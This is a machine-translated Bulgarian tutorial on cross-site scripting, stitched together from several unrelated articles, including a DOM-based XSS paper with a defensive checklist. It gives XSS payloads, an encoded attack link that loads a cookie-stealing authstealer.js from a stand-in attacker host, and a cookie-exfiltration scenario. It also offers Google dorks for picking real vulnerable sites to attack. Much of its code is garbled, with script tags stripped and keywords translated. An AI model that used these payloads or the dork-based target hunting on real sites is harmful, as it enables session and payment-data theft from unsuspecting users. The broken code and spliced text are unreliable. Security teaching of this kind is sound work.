• 1. Какво е XSS
• 2.Видове XSS
• 3. Характеристики на базиран на DOM XSS
• 4.XSS одитор
• 5. Примери за използване на XSS
• 6. Търсене на сайтове, уязвими към XSS
• 7.Програми за търсене и сканиране на XSS уязвимости

Междусайтовият скрипт (XSS) е уязвимост, която включва инжектиране на код от страна на клиента (JavaScript) в уеб страница, която други потребители преглеждат.

Уязвимостта се дължи на недостатъчно филтриране на данните, които потребителят изпраща за вмъкване в уеб страницата. Много по-лесно за разбиране конкретен пример. Запомнете всяка книга за гости - това са програми, които са предназначени да приемат данни от потребителя и след това да ги показват. Да си представим, че книгата за гости не проверява и не филтрира въведените данни по никакъв начин, а просто ги показва.

Можете да начертаете най-простия си скрипт (няма нищо по-лесно от писането на лоши скриптове в PHP - много хора го правят). Но вече има много готови варианти. Например предлагам да започнете с Dojo и OWASP Mutillidae II. Там има подобен пример. В самостоятелна среда на Dojo отидете на тази връзка във вашия браузър: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Ако някой от потребителите влезе:

здравей как си

След това уеб страницата ще покаже:

здравей как си

И ако потребителят въведе това:

здравей как си alert("Pwned")

След това ще се покаже така:

Браузърите съхраняват множество бисквитки за голям брой сайтове. Всеки сайт може да получава само запазени от него бисквитки. Например example.com е съхранил някои бисквитки във вашия браузър. Ако посетите another.com, този сайт (клиентски и сървърни скриптове) няма достъп до бисквитките, които example.com е съхранил.

Ако example.com е уязвим на XSS, това означава, че можем по някакъв начин да инжектираме JavaScript код в него и този код ще бъде изпълнен от името на example.com! Тези. Този код например ще има достъп до бисквитките на example.com.

Мисля, че всички си спомнят, че JavaScript се изпълнява в потребителски браузъри, т.е. при наличие на XSS, вграденият злонамерен код получава достъп до данните на потребителя, отворил страницата на уебсайта.

Вграденият код може да прави всичко, което JavaScript може, а именно:

• получава достъп до бисквитките на уебсайта, който разглеждате
• може да направи всякакви промени в външен видстраници
• достъп до клипборда
• може да внедрява JavaScript програми, например кийлогъри (прехващачи на натискания на клавиши)
• вземете BeEF

Най-простият пример с бисквитки:

предупреждение (document.cookie)

Всъщност предупреждението се използва само за откриване на XSS. Истинският злонамерен полезен товар извършва скрити действия. Той тайно се свързва с отдалечения сървър на нападателя и прехвърля откраднати данни към него.

Най-важното нещо, което трябва да разберете за типовете XSS е, че те са:

• Съхранено (постоянно)
• Отразено (непостоянен)

Пример за константи:

• Специално създадено съобщение, въведено от нападателя в книгата за гости (коментар, съобщение във форума, профил), което се запазва на сървъра, се изтегля от сървъра всеки път, когато потребителите поискат да покажат тази страница.
• Нападателят получава достъп до данните на сървъра, например чрез SQL инжектиране, и въвежда злонамерен JavaScript код (с kilologgers или BeEF) в данните, дадени на потребителя.

Пример за непостоянни:

• Има търсене в сайта, което заедно с резултатите от търсенето показва нещо като „Търсихте: [низ за търсене]“ и данните не са филтрирани правилно. Тъй като такава страница се показва само на лицето, което има връзка към нея, атаката няма да работи, докато атакуващият не изпрати връзката на други потребители на сайта. Вместо да изпращате връзка към жертвата, можете да използвате поставянето на злонамерен скрипт на неутрален сайт, който жертвата посещава.

Те също така разграничават (някои като вид непостоянни XSS уязвимости, някои казват, че този тип може да бъде и тип постоянен XSS):

• DOM модели

Казано много просто, можем да видим злонамерения код на „обикновения“ непостоянен XSS, ако отворим HTML кода. Например, връзката се формира по следния начин:

Http://example.com/search.php?q="/>alert(1)

И когато отворим изходния HTML код, виждаме нещо подобно:

< div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >предупреждение(1)" />< button type = "submit" class = "ui-button" >Намерете

И DOM XSS променя DOM структурата, която се формира в браузъра в движение, и можем да видим злонамерен код само когато преглеждаме генерираната DOM структура. HTML не се променя. Нека вземем този код като пример:

< html > < head > < title >уебсайт:::DOM XSS< meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > < body > < div id = "default" >Възникна грешка...< script >функция OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) функция get_fragment() ( var r4c = "(.*?)"; var results = location.hash.match(".*input=token(" + r4c + ");") if (results) (document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null; ) ) display_session = OnLoad();< br >< br >")

document.write("Идентификаторът на вашата сесия беше: " + display_session + "

След това в браузъра ще видим:

Изходният код на страницата:

Нека формираме адреса така:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Сега страницата изглежда така: Но нека да разгледамеизходен код

HTML:

Там абсолютно нищо не се е променило. Това е, за което говорех, трябва да разгледаме DOM структурата на документа, за да идентифицираме зловреден код:

Ето работещ XSS прототип, за истинска атака се нуждаем от по-сложен полезен товар, което не е възможно поради факта, че приложението спира да чете веднага след точка и запетая и нещо като alert(1);alert(2) не е по-дълго възможно. Въпреки това, благодарение на unescape() можем да използваме полезен товар като този в върнатите данни:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Къде сме заменили символа;

Вече можем да напишем злонамерен JavaScript полезен товар и да съставим връзка, която да изпратим на жертвата, както се прави за стандартния непостоянен междусайтов скрипт. XSS одитор IN

dom_xss.html:30 XSS Auditor отказа да изпълни скрипт в „http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);“, тъй като изходният му код беше открит в заявката . Одиторът беше активиран, тъй като сървърът не изпрати нито заглавка „X-XSS-Protection“, нито „Content-Security-Policy“.

Тези. браузърът вече има XSS одитор, който ще се опита да предотврати XSS. Firefox все още няма тази функционалност, но мисля, че е въпрос на време. Ако внедряването в браузърите е успешно, тогава можем да говорим за значителна трудност при използването на XSS.

Добре е да запомните, че съвременните браузъри предприемат стъпки за ограничаване на нивото на експлоатационните проблеми като непостоянен XSS и базиран на DOM XSS. Това също е нещо, което трябва да запомните, когато тествате уебсайтове с помощта на браузър - може да се окаже, че уеб приложението е уязвимо, но не виждате изскачащото потвърждение само защото браузърът го блокира.

Нападателите, които възнамеряват да експлоатират уязвимости на междусайтови скриптове, трябва да подходят към всеки клас уязвимост по различен начин. Векторите на атака за всеки клас са описани тук.

За XSS уязвимости атаките могат да използват BeEF, който разширява атаката от уебсайта към локалната среда на потребителите.

Пример за непостоянна XSS атака

1. Алис често посещава определен уебсайт, хостван от Боб. Уебсайтът на Боб позволява на Алис да влиза с потребителско име/парола и да съхранява чувствителни данни, като например информация за плащане. Когато потребител влезе, браузърът съхранява бисквитки за оторизация, които изглеждат като безсмислени знаци, т.е. и двата компютъра (клиент и сървър) помнят, че тя е влязла.

2. Малори отбелязва, че уебсайтът на Боб съдържа непостоянна XSS уязвимост:

2.1 Когато посетите страницата за търсене, въведете низа за търсене и щракнете върху бутона за изпращане, ако не бъдат намерени резултати, страницата показва въведения низ за търсене, последван от думите „не е намерено“ и URL адресът изглежда като http://bobssite .org?q= нея заявка за търсене

2.2 При нормална заявка за търсене като думата "кучета", страницата просто показва "няма открити кучета" и URL адреса http://bobssite.org?q=кучета, което е съвсем нормално поведение.

2.3 Въпреки това, когато аномална заявка за търсене като alert(‘xss’); :

2.3.1 Появява се предупредително съобщение (което казва "xss").

2.3.2 Страницата показва предупреждение (‘xss’); не е намерен заедно със съобщение за грешка с текста „xss“.

2.3.3 URL адрес, подходящ за експлоатация http://bobssite.org?q=alert('xss');

3. Малори създава URL адрес, за да използва уязвимостта:

3.1 Тя прави URL адреса http://bobssite.org?q=puppies. Тя може да избере да преобразува ASCII символи в шестнадесетичен формат като http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E в ред за да попречи на хората незабавно да дешифрират злонамерен URL адрес.

3.2 Тя изпраща имейл на някои нищо неподозиращи членове на сайта на Боб, казвайки: „Вижте готините кучета“.

4. Алис получава писмо. Тя обича кучета и кликва върху връзката. Отива на сайта на Боб в търсенето, не намира нищо, там се показва „не е намерено куче“, а в самата среда се стартира таг със скрипт (не се вижда на екрана), изтегля и изпълнява Малори програма authstealer.js (задействаща XSS атака). Алис забравя за това.

5. Програмата authstealer.js работи в браузъра на Alice, сякаш произлиза от уебсайта на Bob. Тя грабва копие от бисквитките за оторизация на Алис и ги изпраща до сървъра на Малори, където Малори ги извлича.

7. Сега, когато Малори е вътре, тя отива в секцията за плащане на уебсайта, поглежда и открадва копие от номера кредитна картаАлис. След това тя отива и сменя паролата, т.е. Сега Алис дори вече не може да влезе.

8. Тя решава да направи следващата стъпка и изпраща така конструираната връзка на самия Боб и така получава административни привилегииСайтът на Боб.

Постоянна XSS атака

Доркове за XSS

Първата стъпка е да изберем сайтовете, на които ще извършваме XSS атаки. Сайтовете могат да се търсят с Google dorks. Ето няколко от тези глупаци, които можете да копирате и поставите в търсене с Google:

• inurl:search.php?q=
• inurl:.php?q=
• inurl:search.php
• inurl:.php?search=

Пред нас ще се отвори списък със сайтове. Трябва да отворите сайта и да намерите в него полета за въвеждане, като форма за обратна връзка, форма за въвеждане, търсене в сайта и др.

Нека веднага да отбележа, че е почти безполезно да се търсят уязвимости в популярни автоматично актуализирани уеб приложения. Класически пример за такова приложение е WordPress. Всъщност има уязвимости в WordPress и особено в неговите добавки. Освен това има много сайтове, които не актуализират нито двигателя на WordPress (поради факта, че уеб администраторът е направил някои промени в изходния код), нито техните плъгини и теми (като правило това са пиратски плъгини и теми). Но ако прочетете този раздел и научите нещо ново от него, тогава WordPress все още не е за вас... Определено ще се върнем към него по-късно.

Най-добрите цели са разнообразие от самостоятелно написани двигатели и скриптове.

Можете да изберете полезен товар за вмъкване като

предупреждение (1)

Обърнете внимание на кои HTML кодови тагове попада вашият вграден код. Ето пример за типично поле за въвеждане

< input type = "text" class = "ui-input query" name = "q" value = "калъфка за възглавница" />< script >предупреждение (1)< input value = "" />

Нашият полезен товар ще свърши там, където сега е думата "калъфка за възглавници". Тези. превърне в стойността на тага за въвеждане. Можем да избегнем това, като затворим двойните кавички и след това самия таг с „/>“.

"/>предупреждение(1)

Вероятно всички скенери за уеб приложения имат вграден XSS скенер за уязвимости. Тази тема не е изчерпателна, по-добре е да се запознаете с всеки подобен скенер поотделно.

Има и специализирани инструменти за сканиране за XSS уязвимости. Сред тях можем да подчертаем по-специално:

• XSSer е не само мощен скенеркойто знае как да използва различни методиприлагайки и заобикаляйки филтрирането, той също е автоматизиран инструмент за търсене на сайтове, уязвими към XSS (от глупаци). За сайтове с открити уязвимости може да инжектира полезен товар за истинска атака;
• XssPy също е доста независим инструмент, който може да намери всички страници на сайт (включително тези в поддомейни) и да провери всички въведени елементи на тези страници;
• BruteXSS – положителна черта на този инструмент е пълното изключване на фалшиви положителни резултати.

Повечето набори от уязвими уеб приложения (с изключение на някои високоспециализирани) съдържат сайтове, които са уязвими към XSS. Най-много най-добрият варианте използването им в офлайн учебната среда Dojo, която е събрала много приложения за тестване. Например, можете да тренирате уменията си за идентифициране и използване на XSS чрез:

Проклето уязвимо уеб приложение (DVWA):

• http://localhost/dvwa/vulnerabilities/xss_r/ (непостоянен XSS)
• http://localhost/dvwa/vulnerabilities/xss_s/ (съхранен XSS)

Mutillidae/NOWASP (много различни XSS вариации)

• http://localhost/mutillidae/

Използване на междусайтови скриптове java скрипт– най-популярният тип атака. В този материал ще ви разкажем за проблемите, които могат да възникнат при използването на java скрипт и как да се предпазите от XSS атаки.

XSS е вид атака срещу потребители на интернет ресурси, чиято цел е да откраднат данните за удостоверяване на администраторите на сайта, за да получат достъп до административната част и други потребители, които имат възможност личен достъпкъм затворени части на ресурса.

Тези атаки могат да бъдат извършени не само за хакване на сайт, но и за кражба на:

• Идентификационни данни за достъп до ресурси на трети страни;
• номера на банкови карти;
• Данни за достъп до електронни портфейли;
• Данни за контакт;
• Други поверителни данни на потребителя.

Този тип атака има две посоки:

Активен – тип атака, когато нападателят се опитва да намери уязвимости във филтър за интернет ресурси. Чрез определена комбинациязнаци и етикети, хакерът създава заявка, която ресурсът разбира и изпълнява командата. След откриване на уязвимост в системата за сигурност, в заявката се вмъква зловреден код, който например ще изпрати всички бисквитки на удобно за хакера място.

Пасивна – включва намесата на субекта на атаката. Идеята е да принудите потребителя да последва злонамерена връзка, която да внедри зловреден код. Тези атаки са трудни за изпълнение, тъй като изискват от атакуващия отлични технически познания и добри познания по психология.

За да не станете жертва на XSS атака, трябва да се придържате към следните правила за сигурност:

Според статистиката 84% от интернет ресурсите са добре защитени от XSS атаки. Останалите 16% не са в състояние да им се противопоставят ефективно. Премахването на този груб недостатък изисква от собствениците на сайтове допълнителни инвестиции в сигурността, за които повечето от тях не са готови. Въпреки това, затягането на законодателството относно щетите, изтичането и разкриването на лични данни все повече принуждава безскрупулните собственици да подобрят сигурността на своите сайтове.

Ори Сегал

Научете как хакерите използват скриптови атаки между сайтове, какво правят (и не) щети, как да ги забележите и как да защитите вашия уеб сайт и неговите посетители от тези злонамерени пробиви в поверителността и сигурността.

Междусайтовият скрипт (или накратко XSS) е една от най-често срещаните атаки на ниво приложение, които хакерите използват за компрометиране на уеб приложения. XSS е атака срещу поверителността на клиентите на определен уеб сайт. Може да доведе до пълно разрушаване на системата за сигурност, когато клиентските данни бъдат откраднати и използвани в бъдеще за някаква цел. Повечето атаки включват две страни: или нападател и уеб сайт, или нападател и клиент-жертва. XSS атака обаче включва три страни: нападателя, клиента и уеб сайта.

Целта на XSS атака е да открадне бисквитки или други бисквитки от компютъра на клиента. поверителна информация, който може да идентифицира клиент на уеб сайт. Разполагайки с информация, която да го идентифицира като легитимен потребител, нападателят може да действа на сайта като такъв потребител, т.е. преструвай се на него. Например, при един одит, проведен в голяма компания, беше възможно да се получи личната информация на потребителя и номера на кредитната му карта с помощта на XSS атака. Това се постигна с бягане специален кодв JavaScript. Този код е бил изпълнен в браузъра на жертвата (клиента), който е имал права за достъп до уеб сайта. Има много ограничен брой привилегии на JavaScript, които не дават на скрипта достъп до нищо друго освен специфична за сайта информация. Важно е да се подчертае, че въпреки че уязвимостта съществува в уеб сайта, самият уеб сайт не е пряко повреден. Но това е достатъчно, за да се събере скриптът бисквиткии ги изпрати на нападателя. В резултат на това нападателят получава необходимите данни и може да имитира жертвата.

Нека назовем атакувания сайт по следния начин: www.vulnerable.site. Традиционната XSS атака разчита на уязвим скрипт, който се намира на уязвим уебсайт. Този скрипт чете част от HTTP заявка (обикновено параметри, но понякога също HTTP заглавки или път) и я повтаря за страницата с отговор, или цялата, или само част. Това не дезинфекцира заявката (т.е. не проверява дали заявката не съдържа JavaScript код или HTML тагове). Да кажем, че този скрипт се нарича welcome.cgi и неговият параметър е името. Може да се използва така:

Как може да се злоупотребява с това? Нападателят трябва да може да примами клиента (жертвата) да кликне върху връзката, която нападателят му предоставя. Това е внимателно и злонамерено създадена връзка, която кара уеб браузъра на жертвата да получи достъп до уебсайт (www.vulnerable.site) и да изпълни уязвим скрипт. Данните за този скрипт съдържат JavaScript код, който осъществява достъп до бисквитките, съхранявани от браузъра на клиента за сайта www.vulnerable.site. Това е разрешено, защото браузърът на клиента „мисли“, че JavaScript кодът идва от www.vulnerable.site. А моделът за защита на JavaScript позволява на скриптове, произхождащи от конкретен сайт, да имат достъп до бисквитки, които принадлежат на този сайт.

Отговорът от уязвимия сайт ще бъде както следва:

Браузърът на клиента на жертвата интерпретира тази заявка като HTML страница, съдържаща част от JavaScript код. Този код, когато бъде изпълнен, ще има достъп до всички бисквитки, принадлежащи на сайта www.vulnerable.site. Следователно това ще предизвика изскачащ прозорец в браузъра, показващ всички бисквитки на клиента, които са свързани с www.vulnerable.site.

Разбира се, истинска атака би включвала изпращане на тези файлове до нападателя. За да направи това, атакуващият може да създаде уеб сайт (www.attacker.site) и да използва скрипт за получаване на бисквитки. Вместо да извика изскачащ прозорец, атакуващият ще напише код, който осъществява достъп до URL адреса на www.attacker.site. В тази връзка се изпълнява скрипт за получаване на бисквитки. Параметърът за този скрипт е откраднати бисквитки. По този начин атакуващият може да получи бисквитки от сървъра www.attacker.site.

Веднага след зареждането на тази страница браузърът ще изпълни вмъкнатия там JavaScript код и ще препрати заявката към скрипта collect.cgi на www.attacker.site заедно със стойността на бисквитките от www.vulnerable.site, които браузърът вече има. Това подкопава сигурността на бисквитките на www.vulnerable.site, които клиентът има. Това позволява на нападателя да се преструва на жертва. Поверителността на клиента е напълно нарушена.

Забележка.
Обикновено извикването на изскачащ прозорец с помощта на JavaScript е достатъчно, за да демонстрира уязвимостта на сайта към XSS атака. Ако можете да извикате функцията Alert от JavaScript, обикновено няма причина извикването да е неуспешно. Ето защо повечето примери за XSS атаки използват функцията Alert, която прави много лесно определянето на успеха на атаката.

Атаката може да се случи само в браузъра на жертвата, същият, който се използва за достъп до сайта (www.vulnerable.site). Нападателят трябва да принуди клиента да получи достъп до злонамерената връзка. Това може да се постигне по няколко начина.

• Нападателят изпраща имейл, съдържащ HTML страница, която подвежда браузъра да отвори връзка. Това изисква жертвата да използва клиента имейл, способен да работи с HTML. И програмата за преглед на HTML на клиента трябва да бъде същият браузър, който се използва за достъп до www.vulnerable.site.

• Клиент посещава сайт, вероятно създаден от нападател, където връзка към изображение или друг кликващ HTML елемент кара браузъра да отвори връзката. Отново, в този случай е задължително да се използва един и същ браузър за достъп както до този сайт, така и до сайта www.vulnerable.site.

Злонамереният JavaScript код има достъп до всяка от следните данни:

• постоянни бисквитки (на сайта www.vulnerable.site), които се съхраняват от браузъра;
• бисквитки в RAM памет(сайт www.vulnerable.site), които се поддържат от инстанцията на браузъра само при преглед на сайта www.vulnerable.site;
• имена на други отворени прозорци за сайта www.vulnerable.site.
• всяка информация, която е налична чрез текущата DOM модел(от стойности, HTML код и др.).

Данните за идентификация, оторизация и удостоверяване обикновено се съхраняват под формата на бисквитки. Ако тези бисквитки са постоянни, тогава жертвата е уязвима за атака, дори когато не използва браузър, когато влиза в www.vulnerable.site. Ако обаче бисквитките са временни (например, съхраняват се в RAM), тогава от страна на клиента трябва да има сесия със сайта www.vulnerable.site.

Друга възможна реализация на идентификационен етикет е URL параметърът. В такива случаи можете да получите достъп до други прозорци с помощта на JavaScript, както следва (ако приемем, че името на страницата с желаните URL параметри е foobar):

За да стартирате JavaScript скрипт, можете да използвате много HTML тагове, различни от . Всъщност също така е възможно да поставите злонамерен JavaScript код на друг сървър и след това да подмамите клиента да изтегли скрипта и да го изпълни. Това може да бъде полезно, ако трябва да изпълните голямо количество код или ако кодът съдържа специални знаци.

Ето някои варианти на тези възможности.

• Вместо... хакерите могат да използват . Това е подходящо за сайтове, които филтрират HTML тага.

• Вместо ... можете да използвате конструкцията . Това е добре в ситуации, когато кодът на JavaScript е твърде дълъг или ако съдържа непозволени знаци.

Понякога данните, вградени в страницата с отговор, са в платен HTML контекст. В този случай първо трябва да "избягате" в свободния контекст и след това да извършите XSS атака. Например, ако данните са вмъкнати като стойност по подразбиране за поле на HTML формуляр:

И полученият HTML код ще бъде както следва:

Всички знаем какво е междусайтов скрипт, нали? Това е уязвимост, при която нападателят изпраща злонамерени данни (обикновено HTML, съдържащ Javascript код), които по-късно се връщат от приложението, което води до изпълнение на Javascript код. Значи това не е вярно! Има вид XSS атака, която не отговаря на това определение, поне в основните си фундаментални принципи. XSS атаките, както са дефинирани по-горе, се разделят на мигновени (злонамерени данни се вграждат в страница, която се връща към браузъра веднага след заявката) и забавени (злонамерени данни се връщат след известно време). Но има и трети тип XSS атака, която не се основава на изпращане на злонамерени данни към сървъра. Въпреки че изглежда контраинтуитивно, има два добре документирани примера за такава атака. Тази статия описва третия тип XSS атаки – XSS чрез DOM (DOM Based XSS). Тук няма да пише нищо принципно ново за атаката, по-скоро иновацията на този материал е в подчертаването на отличителните черти на атаката, които са много важни и интересни.

Разработчиците и потребителите на приложения трябва да разбират принципите на XSS атаките чрез DOM, тъй като те представляват заплаха за уеб приложенията и са различни от обикновените XSS. Има много уеб приложения в интернет, които са уязвими на XSS чрез DOM и в същото време са тествани за XSS и са установени като „неуязвими“ за този тип атака. Разработчиците и администраторите на сайтове трябва да се запознаят с техниките за откриване и защита срещу XSS чрез DOM, тъй като тези техники се различават от техниките, използвани за справяне със стандартните XSS уязвимости.

Читателят трябва да е запознат с основните принципи на XSS атаките (, , , , ). XSS обикновено се отнася до instant() и мързелив междусайтов скрипт. С мигновения XSS злонамереният код (Javascript) се връща от атакувания сървър веднага като отговор на HTTP заявка. Отложен XSS означава, че злонамереният код се съхранява в атакуваната система и по-късно може да бъде инжектиран HTML страницауязвима система. Както бе споменато по-горе, тази класификация предполага, че основното свойство на XSS е, че злонамереният код се изпраща от браузър към сървър и се връща към същия браузър (флаш XSS) или всеки друг браузър (забавен XSS). Тази статия повдига въпроса, че това е погрешна класификация. Възможността за извършване на XSS атака, която не разчита на инжектиране на код в страницата, върната от сървъра, би имала голямо влияние върху сигурността и техниките за откриване. Принципите на такива атаки са разгледани в тази статия.

Преди да се опише най-простият сценарий на атака, важно е да се подчертае, че описаните тук методи вече са демонстрирани публично няколко пъти (например , и ). Не твърдя, че методите по-долу са описани за първи път (въпреки че някои от тях се различават от публикуваните по-рано материали).

Признак за уязвим сайт може да е наличието на HTML страница, която използва данни от document.location, document.URL или document.referrer (или всякакви други обекти, които могат да бъдат повлияни от хакер) по несигурен начин.

Забележка за читателите, които не са запознати с тези Javascript обекти: когато Javascript кодът се изпълнява в браузъра, той има достъп до няколко обекта, представени в DOM ( Обект на документаМодел Обектен моделдокумент). Обектът на документа е основният от тези обекти и осигурява достъп до повечето от свойствата на страницата. Този обект съдържа много вложени обекти като местоположение, URL адрес и референт. Те се контролират от браузъра според гледната точка на браузъра (както ще се види по-долу, това е доста важно). И така, document.URL и document.location съдържат URL адреса на страницата или по-точно това, което браузърът има предвид под URL. Моля, обърнете внимание, че тези обекти не са взети от тялото на HTML страницата. Обектът на документа съдържа основен обект, съдържащ анализирания HTML код на страницата.

Не е трудно да се намери HTML страница, съдържаща Javascript код, който анализира URL низ (достъпен чрез document.URL или document.location) и според стойността му извършва някои действия от страна на клиента. По-долу е даден пример за такъв код.

По аналогия с примера в, разгледайте следната HTML страница (ако приемем, че съдържанието е http://www.vulnerable.site/welcome.html):

Добре дошли! Здравейте var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
Добре дошли в нашата система...

Въпреки това, запитване като това -

http://www.vulnerable.site/welcome.html?name=alert(document.cookie)

би причинило XSS. Нека да видим защо: браузърът на жертвата, след като е получил тази връзка, изпраща HTTP заявка до www.vulnerable.site и получава гореспоменатата (статична!) HTML страница. Браузърът на жертвата започва да анализира този HTML код. DOM съдържа обект на документ, който има URL поле и това поле се попълва със стойността на URL адреса на текущата страница по време на създаването на DOM. Когато анализаторът достигне кода на Javascript, той го изпълнява, което причинява промяна на HTML кода на показаната страница. В този случай кодът препраща към document.URL и тъй като част от този низ е вграден в HTML по време на анализ, който незабавно се анализира, откритият код (предупреждение(...)) се изпълнява в контекста на същата страница.

Бележки:

1. Зловреден код не е вграден в HTML страницата (за разлика от други видове XSS).
2. Този експлойт ще работи при условие, че браузърът не променя URL знаците. Mozilla автоматично кодира '' символи (съответно в %3C и %3E) във вложени обекти на документи. Ако URL адресът е въведен директно в адресната лента, този браузър не е уязвим на атаката, описана в този пример. Въпреки това, ако атаката не изисква знаците '' (в оригиналната им некодирана форма), атаката може да бъде извършена. Microsoft Internet Explorer 6.0 не кодира '' и следователно е уязвим за описаната атака без никакви ограничения. Има обаче много различни сценарии за атака, които не изискват '' и следователно дори Mozilla не е имунизирана срещу тази атака.

В горния пример злонамереният код все още се изпраща на сървъра (като част от HTTP заявката), така че атаката може да бъде открита точно както всяка друга XSS атака. Но това е разрешим проблем.

Разгледайте следния пример:

http://www.vulnerable.site/welcome.html#name=alert(document.cookie)

Обърнете внимание на символа '#' вдясно от името на файла. Той казва на браузъра, че всичко след този знак не е част от заявката. Microsoft Internet Explorer (6.0) и Mozilla не изпращат фрагмента след знака '#' на сървъра, така че за сървъра тази заявка ще бъде еквивалентна на http://www.vulnerable.site/welcome.html, т.е. зловреден код дори няма да бъде забелязан от сървъра. По този начин, благодарение на тази техника, браузърът не изпраща злонамерен полезен товар към сървъра.

В някои случаи обаче е невъзможно да се скрие полезният товар: в и злонамереният полезен товар е част от потребителското име в URL като http://username@host/. В този случай браузърът изпраща заявка със заглавка за оторизация, съдържаща потребителското име (злонамерен полезен товар), в резултат на което зловреден код достига до сървъра (кодиран в Base64 - следователно IDS/IPS трябва първо да декодира тези данни, за да открие атаката). От сървъра обаче не се изисква да инжектира този полезен товар в една от наличните HTML страници, въпреки че това е необходимо условие за изпълнение на XSS атака.

Очевидно в ситуации, в които полезният товар може да бъде напълно скрит, откриването (IPS) и предотвратяването (IPS) защитни стениза уеб приложения) не може напълно да защити срещу тази атака. Дори ако полезният товар трябва да бъде изпратен до сървъра, в много случаи той може да бъде трансформиран по определен начин, за да се избегне откриването. Например, ако някой параметър е защитен (например параметърът име в примера по-горе), малка промяна в скрипта за атака може да доведе до следния резултат:

(document.cookie)

По-строга политика за сигурност би изисквала параметърът име да бъде изпратен. В този случай можете да направите следната заявка:

http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=Joe

Ако вашата политика за сигурност ограничава имена на допълнителни параметри (например: foobar), можете да използвате следната опция:

http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe

Моля, обърнете внимание, че игнорираният параметър (foobar) трябва да е първи и да съдържа полезен товар в стойността си.

Сценарият на атака, описан в , е още по-предпочитан за атакуващия, тъй като пълната стойност на document.location е записана в HTML страницата (кодът на Javascript не търси конкретно име на параметър). По този начин нападателят може напълно да скрие полезния товар, като изпрати следното:

/attachment.cgi?id=&action=foobar#alert(document.cookie)

Дори ако полезният товар е анализиран от сървъра, защитата може да бъде гарантирана само ако заявката бъде отхвърлена или отговорът е заменен с текст за грешка. Позовавайки се отново на и: ако заглавката за оторизация е просто премахната от междинната система за сигурност, това няма да има ефект, ако се върне оригиналната страница. По същия начин всеки опит за обработка на данни на сървъра чрез премахване или кодиране на незаконни знаци ще бъде неефективен срещу тази атака.

В случай на document.referrer, полезният товар се изпраща до сървъра чрез заглавката Referer. Въпреки това, ако браузърът на потребителя или междинната защита премахнат този хедър, няма да има следа от атаката, която може да остане напълно незабелязана.

За да обобщим, заключаваме, че традиционните методи, а именно

1. Кодиране на HTML данни от страна на сървъра
2. Премахването/кодирането от страна на сървъра на забранени входове не работи срещу DOM XSS.

Автоматичното търсене на уязвимости чрез „бомбардиране“ на злонамерени данни (понякога наричано размиване) няма да работи, тъй като програмите, използващи тази техника, обикновено правят изводи въз основа на това дали вградените данни присъстват в върнатата страница или не (вместо да изпълняват кода в контекста на браузъра от страна на клиента и следене на резултатите). Въпреки това, ако програмата може статично да анализира Javascript кода, открит на страницата, тя може да посочи подозрителни признаци (вижте по-долу). И разбира се, ако инструментите за сигурност могат да изпълняват Javascript код (и да инициализират правилно DOM обекти) или да емулират такова изпълнение, те ще могат да открият тази атака.

Ръчното търсене на уязвимост с помощта на браузър също ще работи, тъй като браузърът може да изпълнява Javascript код от страна на клиента. Инструментите за уязвимости могат да приемат този метод и да изпълняват код от страна на клиента, за да наблюдават резултатите от неговото изпълнение.
Ефективна защита

Избягвайте пренаписване на документи от страна на клиента, пренасочвания или други подобни действия, които използват данни от страна на клиента. Повечето от тези действия могат да се извършват с помощта на динамични страници (от страната на сървъра).
2.

Анализ и подобряване на сигурността на кода (Javascript) от страна на клиента. Препратките към DOM обекти, които могат да бъдат повлияни от потребителя (нападателя), трябва да бъдат внимателно проверени. Особено внимание трябва да се обърне на следните обекти (но не само):
* документ.URL
* document.URLUnecoded
* document.location (и неговите свойства)
* document.referrer
* window.location (и неговите свойства)

Обърнете внимание, че свойствата на обектите на документа и прозореца могат да бъдат посочени по няколко начина: изрично (пример: window.location), имплицитно (пример: местоположение) или чрез получаване на манипулатор и неговото използване (пример: handle_to_some_window.location).

Особено внимание трябва да се обърне на кода, където DOM е модифициран, изрично или потенциално, чрез директен достъп до HTML или чрез достъп директно до DOM. Примери (това в никакъв случай не е изчерпателен списък):
* Въвеждане в HTML кода на страницата:
o document.write(...)
o document.writeln(...)
o document.body.innerHtml=…
* Промяна на DOM директно (включително DHTML събития):
o document.forms.action=… (и други варианти)
o document.attachEvent(…)
o document.create…(…)
o document.execCommand(...)
o документ.тяло. ... (достъп до DOM чрез обекта body)
o window.attachEvent(…)
* Промяна на URL адреса на документа:
o document.location=… (както и присвояване на стойности на href, host и hostname на обекта за местоположение)
o document.location.hostname=…
o document.location.replace(…)
o document.location.assign(…)
o документ.URL=…
o window.navigate(...)
* Отваряне/модификация прозорец обект:
o document.open(...)
o window.open(…)
o window.location.href=… (както и присвояване на стойностите за хост и име на хост към обекта за местоположение)
* Директно изпълнение на скрипта:
o eval(...)
o window.execScript(...)
o window.setInterval(…)
o window.setTimeout(...)

Продължавайки с горния пример, за ефективна защитаОригиналният скрипт може да бъде заменен със следния код, който проверява низа, написан на HTML страницата, за да се увери, че съдържа само буквено-цифрови знаци.